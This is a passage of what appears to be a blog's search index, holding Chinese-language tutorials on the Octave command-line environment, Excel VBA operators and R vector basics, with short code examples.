lookfor (’-all’, str) lookfor 指令是用來在所有的函數說明中尋找 str（不分大小寫），預設 lookfor 只會搜尋每個函數說明的第一句，若是要在完整的函數說明中尋找，則必須加上 -all 參數。\nlookfor 預設是搜尋函數的第一句說明，標準的 Octave 函數會將最重要的說明與關鍵字放在函數說明的第一句，但是有一些其他使用者自行撰寫的函數不一定會遵守此規定，因此在搜尋非官方的函數時，最好加上 -all 參數搜尋全部的函數說明。\n例如想搜尋 plot 相關的函數：\nlookfor plot 這會將所有包含 plot 字樣的函數列出來。\n命令列編輯（Command Line Editing） Octave 使用 GNU Readline Library 提供命令列（command-line）的操控與歷史紀錄功能，這裡只介紹一般性的功能，進階的使用技巧可以參考 GNU Readline Library。\n有許多命令列的編輯功能是透過控制字元（control characters）來操作，例如 Ctrl + a 會將輸入游標移動到行首，操作方式是先按住鍵盤上的 Ctrl 鍵，在按下 a 鍵，其餘的控制字元也是以類似的方式操作。\n另一種命令列的操作方式是透過 Meta 字元（Meta characters），例如 Meta + u 的輸入的方式是按住 Meta 鍵再按下 u 鍵，在一些系統中沒有 Meta 鍵，則使用 Esc 鍵，即按一次 Esc 鍵（不用按住）再輸入 u。\n移動游標（Cursor Motion） 以下這些指令可以用來移動游標：\nCtrl + b：將游標向後移動一個字元，在大部份的系統中可以使用左鍵替代。 Ctrl + f：將游標向前移動一個字元，在大部份的系統中可以使用右鍵替代。 Del：將游標左邊的一個字元刪除。 Ctrl + d：將游標所在的一個字元刪除。 Meta + f：將游標向前移動一個字（word）。 Meta + b：將游標向後移動一個字（word）。 Ctrl + a：將游標移動到行首。 Ctrl + e：將游標移動到行尾。 Ctrl + l：清除螢幕，只留下最後一行 Octave 提示符號。 Ctrl + _ 或 Ctrl + /：復原最後一次的編輯動作。 Meta + r：復原本行指令的所有編輯動作。 以上是在輸入指令時最常用的編輯指令。\nCtrl 主要用於字元（characters）的操作，而 Meta 主要用於字（word）的操作，例如 Ctrl + f 是向後移動一個字元，而 Meta + f 是向後移動一個字。\n在 Octave 中也有專門的函數可以清除螢幕：\nclc() home() clc() 與 home() 兩個函數功能相同，都是將螢幕清除，並將游標移至第一行，這些函數可以用在 Octave 程式中。\n剪下與貼上（Killing and Yanking） Octave 的命令列支援文字的剪下與貼上，以下是相關的指令：\nCtrl + k：剪下從目前游標所在位置到行尾的所有文字。 Meta + d：剪下從目前游標所在位置向後到字的結尾之間的所有文字，若是游標剛好在字與字之間，則將下一個字結尾之前的文字剪下。 Meta + Del：剪下從目前游標所在位置向前到字的開頭之間的所有文字，若是游標剛好在字與字之間，則將上一個字開頭之後的文字剪下。 Ctrl + w：剪下從目前游標所在位置向前到前一個空白字元之間的所有文字。 Ctrl + w 與 Meta + Del 是不同的，因為字的邊界不一定是空白字元。\nOctave 會將剪下的文字儲存在一個 kill-ring 緩衝區中，而 kill-ring 中的資料可以使用下面的指令貼上：\nCtrl + y：貼上 kill-ring 中最頂端的文字。 Meta + y：旋轉 kill-ring 並貼上最頂端的文字，這個指令只有在上一個指令是 Ctrl + y 或 Meta + y 時可以使用。 kill-ring 可以想像是一個會轉動的環狀緩衝區，每次呼叫 Meta + y 就會將 kill-ring 轉動一格，並貼上最頂端的文字。以上兩個指令常常需要配合使用，若要貼上的文字不是最後一次剪下的，則必須先使用 Ctrl + y 貼上最後一次剪下的文字，再用 Meta + y 選取要貼上的文字。\nCtrl + k 代表剪下而 Ctrl + y 代表貼上是來自於於英文的 killing 與 yanking。\n編輯文字 以下指令用於編輯指令列的文字：\nCtrl + q 或 Ctrl + v：輸入下一個鍵入的字元，通常用在輸入特殊字元的時候。 Meta + Tab：輸入 Tab 字元。 Ctrl + t：將游標之前的一個字元連同游標向後移動，若是游標已經在行尾，則將行尾的最後兩個字元對調。 Meta + t：將游標的前一個字（word）連同游標向後移動。 Meta + u：將游標所在位置到目前的字（word）的結尾之間所有的字元轉為大寫。 Meta + l：將游標所在位置到目前的字（word）的結尾之間所有的字元轉為小寫。 Meta + c：將游標所在位置或之後的第一個字元轉為大寫，並將游標移動至該字（word）的結尾處。 自動補齊（Completion） 以下的指令提供自動補齊的功能：\nTab：將游標之前的文字自動補齊（completion），Octave 可以自動補齊指令與變數名稱。 Meta + ?：列出所有可用於游標之前的文字自動補齊，在大部分的系統中可用連續兩個 Tab 替代。 歷史紀錄（History） Octave 會將使用者所輸入的每一行指令記錄下來，以便讓使用者可以查詢與執行已經執行過得指令，而不用再重新輸入一次，而當離開時 Octave 會將最近輸入的指令自動儲存在紀錄檔中，最多可以儲存的指令數量是由 history_size 這個變數來設定，而紀錄檔的位置則是由 history_file 變數來指定。\n下面是一些瀏覽與搜尋指令紀錄的指令：\nEnter：不管游標在哪個位置，按下 Enter 鍵之後，若是輸入的指令不是空字串，Octave 就會執行所輸入的指令並將此指令加入指令紀錄中。 Ctrl + p：顯示上一個指令紀錄，在大部分的系統中可用上鍵替代。 Ctrl + n：顯示下一個指令紀錄，在大部分的系統中可用下鍵替代。 Meta + \u0026lt;：顯示第一個指令紀錄。 Meta + \u0026gt;：顯示最後一個指令紀錄，也就是目前輸入的指令。 Ctrl + r：從目前在指令紀錄中的位置向前搜尋，支援 incremental search。 Ctrl + s：從目前在指令紀錄中的位置向後搜尋，支援 incremental search。 除了使用鍵盤指令操控指令紀錄外，Octave 也提供了一些指令可以查閱與編輯指令紀錄：\nhistory [options] 若是不佳任何參數，history 會顯示目前的指令紀錄，亦即最近執行過的指令，其可用的參數如下：\n-w file：將目前的指令紀錄儲存至檔案 file 中，若是沒有指定 file 參數，則會儲存至預設的紀錄檔，在一般的 UNIX 系統中預設是 \u0026quot;~/.octave_hist\u0026quot;。 -r file：從紀錄檔中載入指令紀錄，覆蓋掉目前使用中的指令紀錄，若是沒有指定 file 參數，則會由預設的紀錄檔中讀取，在一般的 UNIX 系統中預設是 \u0026quot;~/.octave_hist\u0026quot;。 n：只顯示最近 n 筆指令紀錄。 -q：不要顯示行號。 例如顯示最近 10 筆指令紀錄，而不要顯示行號：\nhistory -q 10 edit_history [first] [last] 此指令會開啟指定的編輯器（由 EDITOR 變數指定）編輯指令紀錄，在編輯指令時 Octave 會將要編輯的指令儲存至一個暫存檔中，而編輯完成後 Octave 會自動執行此暫存檔中的指令，這個功能在自行定義函數時非常有用，比起直接在命令列中定義函數方便許多。\nOctave 會在編輯器關閉之後自動執行站存檔中的指令，若想要取消則將檔案中的內容清空即可。\nedit_history 可以接受兩個參數，指定要編輯的指令紀錄範圍，例如要編輯從第 3 行到第 8 行的指令紀錄：\nedit_history 3 8 若是只指定一個參數，就會只編輯該行指令紀錄，例如編輯第 5 行：\nedit_hostory 5 若是不加任何參數，則會編輯最後一行指令紀錄。\nrun_history [first] [last] 與 edit_history 類似，但直接執行指定範圍的指令而不開啟編輯器。例如執行第 3 行到第 8 行的指令紀錄：\nrun_history 3 8 提示符號（Prompt） Octave 預設的提示符號是 octave:##\u0026gt;，## 代表行號，Octave 允許使用者自訂提示符號，以下是一些可以用在自訂提示符號的變數：\n\\t：時間。 \\d：日期。 \\n：Begins a new line by printing the equivalent of a carriage return followed by a line feed. \\s：Octave 程式名稱，通常是 “octave”。 \\w：目前的工作目錄名稱。 \\W：不含路徑的目前工作目錄名稱。 \\u：目前的使用者名稱。 \\h：簡短的主機名稱。 \\H：完整的主機名稱。 \\#：行號，從開啟 Octave 時開始計算。 \\!：指令紀錄中的行號，與 # 的差異在於 Octave 開啟時所載入的指令紀錄行數。 \\$：若 UID 為 0，則顯示 #，否則顯示 $。 \\nnn：以八進位 nnn 指定字元。 \\\\：顯示反斜線。 Octave 的提示符號可以透過下列函數查詢與變更：\nval = PS1() old_val = PS1(new_val) PS1() 用來查詢或設定 Octave 主要的提示符號，當 Octave 準備好可以讓使用者輸入指令時，就會顯示主要提示符號，預設是 \u0026quot;\\s:\\#\u0026gt; \u0026quot;，若要更改則使用 new_val 參數指定新的提示符號，例如：\nPS1 (\u0026#34;\\\\t[\\\\#]\u0026gt; \u0026#34;) 這會將提示符號更改為類似 15:48:46[20]\u0026gt; 這個樣子。\n若是使用雙引號輸入反斜線，則需要將反斜線重複一次，若是使用單引號則不需要，例如：PS1 ('\\t[\\#]\u0026gt; ')。\nval = PS2() old_val = PS2(new_val) PS2() 用來查詢或設定 Octave 次要的提示符號，當使用者無法在一行會輸入所有的指令時，第二行之後的提示符號會顯示次要提示符號，更改方式與 PS1() 類似，預設為 \u0026quot;\u0026gt;\u0026quot;。\nval = PS4() old_val = PS4(new_val) PS4() 用來查詢或設定 echo 輸出的前置字元（prefix），主要用於 echo 指令，預設是 \u0026quot;+ \u0026quot;。\nDiary 與 Echo Octave 的 diary 功能可以將使用者所有的操作紀錄至檔案中，包含所有的輸入的指令與輸出的結果：\ndiary options diary 指令可以將所有輸入的指令與其所產生的輸出訊息記錄至檔案中，就像螢幕上所看到的一樣，可用的參數有：\non：開始紀錄。 off：停止紀錄。 file：檔案名稱。 有時候我們會想看 Octave 執行到函數或指令稿（script）中的哪一個部分，例如在除錯的時候，可以使用 echo 函數：\necho options echo 可設定使否顯示函數或指令稿（script）中正在執行的指令，可用的參數有：\non：開啟指令稿的顯示功能。 off：關閉指令稿的顯示功能。 on all：開啟函數與指令稿的顯示功能。 off all：關閉函數與指令稿的顯示功能。 val = echo_executing_commands () old_val = echo_executing_commands (new_val) 查詢或設定 Octave 內部用來控制 echo 的變數，此數值可以是以下數值任意的總和：\n1：顯示從指令稿檔案（script files）中讀取而執行的指令。 2：顯示在函數中執行的指令。 4：顯示從指令列讀取而執行的指令。 例如要開啟函數與指令稿的顯示功能（即 echo on all），則將此數值設定為 3（1 + 2）\necho_executing_commands (3) 事實上此變數是依照第幾個位元被設定而決定哪個功能被開啟，1 的二進位是 001b（第一個位元被設定），2 是 010b（第二個位元被設定），3 則是 100b（第三個位元被設定）。而 1 + 2 = 3，是 011b（第一個與第二個位元被設定）。\n錯誤訊息（Error Messages） Octave 中的錯誤訊息主要分為語法錯誤（parse error）與執行時錯誤（run-time error）兩種。 語法錯誤（parse error）\n在使用 Octave 時常常會碰到輸入的指令語法錯誤導致 Octave 無法執行的問題，此時 Octave 會出現錯誤訊息，並且標明錯誤出現的位置，例如：\n3 *** 2 會出現錯誤訊息：\nparse error:\nsyntax error\n\u0026gt;\u0026gt;\u0026gt; 3 *** 2\n^\nOctave 會使用 ^ 符號將錯誤出現的位置標示出來，在 Octave 中的運算子只有 **，沒有 ***，因此出現第三個 * 時，Octave 無法解讀所以回報錯誤。\n執行時錯誤（run-time error） 此種錯誤又稱為 evaluation error，發生在程式實際執行的時候，例如：\n自行定義個函數 f(x)：\nfunction y = f(x) y = x^2 endfunction 呼叫此函數：\nf() 產生的錯誤訊息：\nerror: `x’ undefined near line 2 column 9\nerror: called from:\nerror: f at line 2, column 7\n此錯誤訊息是由最內層的錯誤發生處所產生的，其所提供的 trackback 可以協助使用者找出錯誤的位置。第一行錯誤訊息表示在程式第 2 行的第 9 個字元的位置有個 x 變數沒有定義，若是錯誤發生在函數中，則行號是由函數定義檔的開頭起算，若是發生在函數之外，則會以 Octave 輸入指令的行號為準(這個行號預設會顯示在提示符號中)。\n第二行與第三行錯誤訊息表示此錯誤發生在 f() 函數之中，若是 f() 函數是被另一個函數所呼叫的，例如 g() 函數，則錯誤訊息還會多出一行：\nerror: g at line 2, column 16\n藉由這個函數呼叫的列表，使用者可以快速的追蹤錯誤發生的經過。\n","permalink":"https://blog.gtwang.org/octave/octave-environment/","summary":"\u003ch2 id=\"啟動與離開-octave\"\u003e啟動與離開 Octave\u003c/h2\u003e\n\u003cp\u003e一般來說 Octave 的啟動方式是直接執行 \u003ccode\u003eoctave\u003c/code\u003e，當啟動了之後 Octave 會等待使用者輸入指令以便執行，而執行完後又會繼續等待下一個指令，直到使用者輸入離開 Octave 的指令為止。\u003c/p\u003e","title":"Octave 操作環境"},{"content":"這裡介紹 Excel VBA 中各種運算子的使用方式，還有許多的範例程式碼。\n每個程式語言都會有一系列的運算子，不同的運算子可用於不同資料的運算，以下是 Excel VBA 中常用的運算子。\n算術運算子 下表是 VBA 中的算術運算子。\n運算子 說明 優先順序 ^ 冪運算（次方） 1 * 乘法 2 / 除法 2 \\ 整數除法 3 Mod 餘數 4 + 加法 5 - 減法 5 以下是數學運算的範例：\nDim a, b As Integer, c As Double a = 5 b = 10 c = a + b \u0026#39; 加法 c = a - b \u0026#39; 減法 c = a * b \u0026#39; 乘法 c = b / a \u0026#39; 除法 c = b Mod a \u0026#39; 餘數 c = b ^ a \u0026#39; 次方 字串運算 用於字串的運算子只有一個。\n運算子 說明 \u0026amp; 串接兩個字串 這是連接兩個字串的範例：\nDim text1 As String, text2 As String text1 = \u0026#34;Hi\u0026#34; text2 = \u0026#34;G. T. Wang\u0026#34; MsgBox text1 \u0026amp; \u0026#34; \u0026#34; \u0026amp; text2 比較運算子 比較運算子（comparison operators）可用於比較兩個數值或字串變數，傳回布林值（True 或 False），以下是常見的比較運算子。\n運算子 說明 = 等於 \u0026lt;\u0026gt; 不等於 \u0026lt; 小於 \u0026gt; 大於 \u0026lt;= 小於或等於 \u0026gt;= 大於或等於 邏輯與位元運算子 邏輯與位元運算子適用於各種邏輯變數之間的運算，亦可用於位元（bitwise）運算。\n運算子 說明 And AND 運算 Or OR 運算 Not NOT 運算 Xor XOR 運算 這是 And 邏輯運算的一個範例：\nDim a, b, c As Integer Dim x, y As Boolean a = 10 b = 8 c = 6 x = a \u0026amp;gt; b And b \u0026amp;gt; c \u0026#39; 結果為 True y = b \u0026amp;gt; a And b \u0026amp;gt; c \u0026#39; 結果為 False MsgBox \u0026#34;x is \u0026#34; \u0026amp; x \u0026amp; \u0026#34;, y is \u0026#34; \u0026amp; y 若將各種不同的運算子混合在一起運算時，執行的先後順序就要注意，像邏輯與位元運算子低於比較運算子，所以這裡的判斷式在執行時，會先執行前後的比較大小運算，然後再執行 And 運算，完整的運算子優先順序資料請參考 Microsoft Learn。\n同樣的 And 運算子也可以用於位元運算：\nDim a, b, c, x, y, z As Integer a = 10 b = 8 c = 6 x = (a And b) \u0026#39; 結果為 8 y = (a And c) \u0026#39; 結果為 2 z = (b And c) \u0026#39; 結果為 0 MsgBox \u0026#34;x = \u0026#34; \u0026amp; x \u0026amp; \u0026#34;, y = \u0026#34; \u0026amp; y \u0026amp; \u0026#34;, z = \u0026#34; \u0026amp; z 位元運算就是指每個位元獨立做運算，以這裡的 a And b 來說，a 的值以二進位表示的話是 1010，而 b 以二進位表示則為 1000，所以兩個值做完 And 運算之後，就會是二進位的 1000，也就是十進位的 8，其餘以此類推。\n參考資料：\nMicrosoft Learn ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-operators/","summary":"\u003cp\u003e這裡介紹 Excel VBA 中各種運算子的使用方式，還有許多的範例程式碼。\u003c/p\u003e\n\u003cp\u003e每個程式語言都會有一系列的運算子，不同的運算子可用於不同資料的運算，以下是 Excel VBA 中常用的運算子。\u003c/p\u003e","title":"Excel VBA：各種運算子"},{"content":"向量（vector）為 R 中最基本的資料形態，本章節將介紹向量的相關使用方式。\n向量與賦值 在 R 中所有的資料都是以 R 特有的資料結構方式儲存，而最簡單的結構就是數值向量，下面的指令是設定數值向量 x 的內容為 10.4、5.6、3.1、6.4：\nx \u0026lt;- c(10.4, 5.6, 3.1, 6.4) 這個命令呼叫函數 c() 建立一個向量並指定給 x，其中 \u0026lt;- 為 R 特有的指定運算子（assignment operator），在大多數的情況下可以用 = 取代，也就是這樣：\nx = c(10.4, 5.6, 3.1, 6.4) 以上兩個命令是一樣的，但傳統上 R 的程式設計者習慣都是使用 \u0026lt;- 這種寫法。這裡的 c() 函數（combine）會把它所有的參數首尾相連、形成的一個向量，它可以傳入任意數量參數，而參數型態亦可是向量，例如\ny \u0026lt;- c(x, 0, x) 會將兩個 x 向量與 0 連接起來，形成一個新的向量。\n若要查看變數內容，直接在命令列輸入變數名稱，即可查看變數內容：\ny [1] 10.4 5.6 3.1 6.4 0.0 10.4 5.6 3.1 6.4 若是直接指定一個數值給變數，R 會把它當成只有一個元素的向量，也就是說以下兩個指令是一樣的\nvalue \u0026lt;- 1.5 value \u0026lt;- c(1.5) 要存取向量的某個元素，則可使用中括號 [] 來指定元素的索引（index），索引以 1 為起始，例如 y 向量的第 2 個元素就是：\ny[2] [1] 5.6 如果要更改向量中的特定元素，也可以直接透過 [] 來更改：\ny[3] \u0026lt;- 123.4 y [1] 10.4 5.6 123.4 6.4 0.0 10.4 5.6 3.1 6.4 向量運算 在算術運算式中使用向量會對該向量的每一個元素逐一進行同樣算術運算，例如\nx \u0026lt;- c(1, 2, 3) y \u0026lt;- c(2, 3, 4) x * y [1] 2 6 12 在一個運算式中可能包含多個向量，而這些向量的長度如果不同時，較短的向量會重複自己本身直到與最長的向量長度相同才進行運算，例如：\nx \u0026lt;- c(1, 2, 3, 4) y \u0026lt;- c(5, 6) x * y [1] 5 12 15 24 在此運算式中，x 向量長度為 4，y 向量的長度為 2，當 x 與 y 相乘時，因為 y 向量的長度不足，R 會自動將 y 向量重複直到與 x 向量的長度相同為止，這裡的 y 向量重複兩次後變成 c(5, 6, 5, 6)，再乘上 x 向量，得到結果為 c(5, 12, 15, 24)。\n以下是參雜單一數值的運算，R 在碰到單一數值的時候，都會當成只有一個元素的向量：\nx \u0026lt;- c(1, 2, 3) 2 * x + 3 [1] 5 7 9 如果一個運算式中包含長短不一的向量，而最長的向量長度又不是較短向量長度的整數倍，這時候比較短的向量在重複自己本身時，結尾就會有不完整的向量產生，例如：\nx \u0026lt;- c(1, 2, 3, 4, 5) y \u0026lt;- c(6, 7) x * y [1] 6 14 18 28 30 這裡的 y 向量會重複自己，直到跟 x 向量的長度相同，但是 x 向量的長度是 5，y 向量的長度是 2，因此 y 在重複處理之後就會產生 c(6, 7, 6, 7, 6)（最後一次的重複就會不完整），接著再乘上 x，然後得出結果。一般來說這樣的運算不會是我們預期的，所以 R 在遇到類似的狀況時，就會產生警告：\nWarning message: In x * y : 較長的物件長度並非較短物件長度的倍數 運算子 以下是在 R 中常見的算術運算子。\n四則運算 四則運算的運算子有：加 +、減 -、乘 *、除 /。\n1 + 2 * 3 / 4 [1] 2.5 冪運算 冪運算的運算子為 ^，例如 2 的 4 次方為：\n2 ^ 4 [1] 16 餘數 餘數的運算子為 %%，例如：\n5 %% 2 [1] 1 整數除法 整數除法的運算子為 %/%，例如：\n5 %/% 2 [1] 2 另外還有一些常用的數學函數，如 log()、 exp()、 sin()、 cos()、 tan()、 sqrt() 等等。\n除此之外還有些特別的函數：\nmax(x)：計算向量 x 的最大值。 min(x)：計算向量 x 的最小值。 range(x)：計算向量 x 的範圍，即 c(min(x), max(x))。 length(x)：計算向量 x 的元素個數。 sum(x)：計算向量 x 的元素總和。 prod(x)：計算向量 x 的元素乘積。 sort(x)：傳回一個將向量 x 排序之後的新向量。 以下是一些簡單的統計相關函數：\nmean(x)：計算向量 x 的平均值。 var(x)：計算向量 x 的樣本變異數（variance），即 sum((x-mean(x))^2)/(length(x)-1)。 sd(x)：計算向量 x 的樣本標準差（standard deviation），即 sqrt(var(x))。 序列的產生 R 有一系列的方式可產生常用的序列（sequence），例如要產生 c(1, 2, 3, ..., 100)，則可使用冒號運算子（:）：\nseq \u0026lt;- 1:100 以下是一些相關的用法，讀者可以比較其中的差異。\nseq1 \u0026lt;- 30:1 seq2 \u0026lt;- 1:10 * 2 + 1 n \u0026lt;- 10 seq3 \u0026lt;- 1:n-1 seq3 \u0026lt;- 1:(n-1) seq() 函數是在產生數列時最為常用的工具，前兩個參數分別指定所產生數列的首尾，如果只是給定這兩個值，則和冒號運運算子的結果完全一樣，例如：seq(2, 10) 就等同於 2:10。\nseq() 的參數和其他許多 R 函數的參數一樣都可以用指定名稱的方式給定，在這情況下，參數的順序可以是任意改變的，所以前兩個參數就可以用 from=value 與 to=value 的方式設定，因此以下幾種寫法是完全一樣的：\nseq(1, 30) seq(from = 1, to = 30) seq(to = 30, from = 1) 1:30 seq() 接下來的兩個參數是 by=value 與 length=value，它們分別表示這個序列的步長和長度，如果二者都沒有設定，那麼預設值就是 by=1（步長為 1）。例如\nseq1 \u0026lt;- seq(-5, 5, by = 0.2) 所得到的 seq1 為 c(-5.0, -4.8, -4.6, ..., 4.6, 4.8, 5.0)，類似的用法\nseq2 \u0026lt;- seq(length = 51, from = -5, by = 0.2) 得到的 seq2 與 seq1 相同。\n還有一個相關的函數是 rep()。它可以用各種複雜的方式重複一個物件，簡單的方式就是\nrep1 \u0026lt;- rep(x, times = 3) 這種方式會先把 x 複製三次並保持 x 的序列順序，逐一放在 rep1 中，得到 c(1, 2, 3, 1, 2, 3, 1, 2, 3)。另一種方式是\nrep2 \u0026lt;- rep(x, each = 3) 這是把 x 中的每個元素都重複三次，然後將重複三次的元素逐一放入，得到 c(1, 1, 1, 2, 2, 2, 3, 3, 3)。\n邏輯向量 邏輯向量（logical vector）就是由邏輯元素所構成的向量，每個元素可以被賦予的值有 TRUE、FALSE 與 NA（見下一小節）。\nTRUE 與 FALSE 可以分別簡寫為 T 和 F，但要注意的是 R 對 T 和 F 的處理方式只是預設將他們設為 TRUE 和 FALSE 的變數，它們不是系統保留字（reserved word），可以被使用者複寫，因此建議使用者儘量使用 TRUE 和 FALSE，避免產生不必要的困擾。\n指定一個邏輯向量的方式與一般數值向量一樣是使用 c()，例如：\nb \u0026lt;- c(TRUE, FALSE, TRUE) 邏輯向量亦可以由條件式（conditions）產生，例如：\nx \u0026lt;- c(1, 2, 3, 4) bseq \u0026lt;- x \u0026lt; 3 得到的 bseq 是一個長度與 x 一致的向量，其中每個元素就是 x 向量中每個元素經過邏輯運算的結果，亦即 c(TRUE, TRUE, FALSE, FALSE)。\nR 的比較運算子包含：\n\u0026lt;：小於。 \u0026lt;=：小於或等於。 \u0026gt;：大於。 \u0026gt;=：大於或等於。 ==：等於。 !=：不等於。 假設 b1 與 b2 是兩個邏輯向量，以下是 R 的邏輯運算子與使用方式：\n\u0026amp;：AND 邏輯運算子，如 b1 \u0026amp; b2。 |：OR 邏輯運算子，如 b1 | b2。 !：NOT 邏輯運算子，如 !b1。 若將邏輯變數使用於一般的算術運算中，邏輯變數將會被強制轉換成數值變數，FALSE 轉換為 0，而 TRUE 轉換為 1。\n遺失值 在某些情況下，向量的某些元素有可能無法得知，當一個元素或是數值在統計上無法獲得（not available）或是遺失（missing value）的時候，則此元素或數值就會以一個特定的值 NA 來表示，任何含有 NA 資料的運算結果都將是 NA，會這樣假設的道理很簡單，如果計算用的資料都是未知的，那麼結果也必然是不可預期的，因此也是不可得到的。\nis.na(x) 函數返回一個和 x 同樣長度的邏輯向量，若其某個元素值為 TRUE 則表示在 x 中對應元素為 NA。\nz \u0026lt;- c(1:3, NA) ind \u0026lt;- is.na(z) 這裡特別要注意的一點，邏輯運算式 x == NA 與 is.na(x) 是完全不同的，因為 NA 不是一個真實的值，而是一個表示某個資料值無法得知的符號，因此 x == NA 得到的是一個長度和 x 一樣的向量，而它的所有元素的值都是 NA，因為該邏輯運算式本身就包含 NA，所以運算結果也都是 NA。\n另外還要注意數值計算會產生第二種遺失值，也稱為非數值（Not a Number）NaN，例如：\n0/0 或者\nInf - Inf 二者都得到 NaN，這是因為它們的結果都無法定義。其中 Inf 代表數學上的無窮大。\n若用 is.na() 檢查 NA 與 NaN 的話，結果都會是 TRUE，若需要區分它們，可以使用 is.nan() 來檢查，is.nan() 只有對 NaN 元素會產生 TRUE。\n字元向量 字元向量（character vector）是由字元所構成的向量，而字元的表示方式是以雙引號夾著一序列的字元，例如 \u0026quot;x-values\u0026quot;、\u0026quot;New iteration results\u0026quot;，要指定一個字元向量也是使用 c() 函數：\nstr \u0026lt;- c(\u0026#34;string 1\u0026#34;, \u0026#34;string 2\u0026#34;) 在 R 中常常會用到字元向量，例如繪圖時的標題或註解等。\n字串輸入的時候也可以用單引號，所以也可以這樣寫：\nstr \u0026lt;- c(\u0026#39;string 1\u0026#39;, \u0026#39;string 2\u0026#39;) 但是 R 在輸出的時候則採用雙引號（或者有時不用引號）。\nR 對字元的的處理採用 C 語言形式的跳脫序列（escape sequences），因此使用者可以透過跳脫序列輸入一些特殊字元，例如：\n\\n：換行字元。 \\t：Tab 字元。 \\b：退位鍵（backspace）。 \\\u0026quot;：雙引號(\u0026quot;)。 \\\\：反斜線(\\)。 在 R 中所謂的字元事實上就等於在一般語言中的字串（string），也就是說以下這些在 R 中都稱為字元（character）：\n\u0026quot;\u0026quot;：空字元。 \u0026quot;a\u0026quot;：包含一個字母的字元。 \u0026quot;string\u0026quot;：包含多個字母的字元。 \u0026quot;Hello World!\\n\u0026quot;：包含轉義控制序列的字元。 在處理字元時最常用的函數之一就是 paste()，它可以傳入任意多的參數，然後將每個參數轉換成字元，並且把它們一個接一個地串接起來，例如：\nx \u0026lt;- 10 str \u0026lt;- paste(\u0026#34;x=\u0026#34;, x) paste() 在串接字元時預設使用的分隔符號是一個空白字元，若要指定分隔符號可以使用 sep=\u0026quot;string\u0026quot; 參數，例如：\nx \u0026lt;- 10 str \u0026lt;- paste(\u0026#34;x\u0026#34;, x, sep = \u0026#34;-\u0026#34;) sep 也可以指定為空字元，例如：\nlabs \u0026lt;- paste(c(\u0026#34;X\u0026#34;, \u0026#34;Y\u0026#34;), 1:10, sep = \u0026#34;\u0026#34;) 這裡較短的向量 c(\u0026quot;X\u0026quot;, \u0026quot;Y\u0026quot;) 重複了五次以符合向量 1:10 的長度，得到的 labs 為 c(\u0026quot;X1\u0026quot;, \u0026quot;Y2\u0026quot;, \u0026quot;X3\u0026quot;, \u0026quot;Y4\u0026quot;, \u0026quot;X5\u0026quot;, \u0026quot;Y6\u0026quot;, \u0026quot;X7\u0026quot;, \u0026quot;Y8\u0026quot;, \u0026quot;X9\u0026quot;, \u0026quot;Y10\u0026quot;)。\n索引向量 若要存取向量的某個元素，可透過中括號（[]）使用索引向量（index vector）的方式存取，索引向量的使用方式有四種，以下分別介紹各種使用方式。\n邏輯向量 這種情況下，索引向量與被挑選元素向量的長度必須一致，被挑選元素向量中對應索引向量為 TRUE 的元素將會被選出，而那些對應 FALSE 的元素則被忽略。例如：\nx \u0026lt;- c(1, 2, NA,4) y \u0026lt;- x[!is.na(x)] 這會將 x 向量中非 NA 的元素選出來，依照原本的順序指定給 y，若 x 中包含 NA 元素，則所得到的 y 向量長度就會比 x 向量的長度短。以下是另一個較複雜的例子：\nx \u0026lt;- c(0, -1, -2, NA, 4, 6) x \u0026lt;- x + 1 z \u0026lt;- x[(!is.na(x)) \u0026amp; x \u0026gt; ] 這個例子首先把 x 每個元素都加一，然後選出非 NA 且大於 0 的元素，依照原本的順序指定給 z。\n正整數向量 這種情況下，索引向量中的每個元素必須是 {1, 2, ..., length(x)} 的其中一個（length(x) 為向量 x 的長度），索引向量中索引對應的元素將會被選出，並且依照索引向量中的順序傳回，這種索引向量的長度沒有限制，所選出的向量長度會與索引向量的長度相同， 例如：\nx[6] 表示 x 的第 6 個元素，此外\nx \u0026lt;- 10:20 y \u0026lt;- x[1:5] z \u0026lt;- x[ c(1, 2, 3, 1, 2, 3) ] 所得到的 y 為 x 的前 5 個元素，而 z 則為 c(10, 11, 12, 10, 11, 12)。更複雜的例子：\nlabs \u0026lt;- c(\u0026#34;x\u0026#34;, \u0026#34;y\u0026#34;)[rep(c(1, 2, 2, 1), times = 4)] 這樣會產生一個長度為 16、由 \u0026quot;x\u0026quot;, \u0026quot;y\u0026quot;, \u0026quot;y\u0026quot;, \u0026quot;x\u0026quot; 重複四次而構成的向量。rep() 為重複某個向量的函數。\n負整數向量 這種索引向量與正整數向量規則一樣，負數的意思是將指定的元素排除，將剩餘的元素選出，例如：\nx \u0026lt;- 10:20 y \u0026lt;- x[-(1:5)] 所得到的 y 向量為 c(15, 16, 17, 18, 19, 20)。\n字串向量 這種索引向量只能用在可以用 names 屬性區別其元素的向量，在使用之前必須以 names() 函數先設定 names 屬性，例如：\nfruit \u0026lt;- c(5, 10, 1, 20) names(fruit) \u0026lt;- c(\u0026#34;orange\u0026#34;, \u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;peach\u0026#34;) lunch \u0026lt;- fruit[\u0026#34;apple\u0026#34;] 使用字串向量的好處就是容易記，這在使用 data frames 的時候效果比較明顯。\n索引運算式也可以用在指定向量的元素上，在這種情況下只有那些被索引向量指定的元素會被更動，例如：\nx \u0026lt;- c(1, 2, NA, NA, 3) x[is.na(x)] \u0026lt;- 0 這樣只會將 x 向量中的 NA 元素設為 0，其餘的元素不變。而\ny \u0026lt;- c(-1, -2, 0, 1, 2) y[y \u0026lt; 0] \u0026lt;- -y[y \u0026lt; 0] 是將 y 取絕對值，與下面這個作法相同\ny \u0026lt;- c(-1, -2, 0, 1, 2) y \u0026lt;- abs(y) ","permalink":"https://blog.gtwang.org/r/r-numbers-and-vectors/","summary":"\u003cp\u003e向量（vector）為 R 中最基本的資料形態，本章節將介紹向量的相關使用方式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"向量與賦值\"\u003e向量與賦值\u003c/h2\u003e\n\u003cp\u003e在 R 中所有的資料都是以 R 特有的資料結構方式儲存，而最簡單的結構就是數值向量，下面的指令是設定數值向量 \u003ccode\u003ex\u003c/code\u003e 的內容為 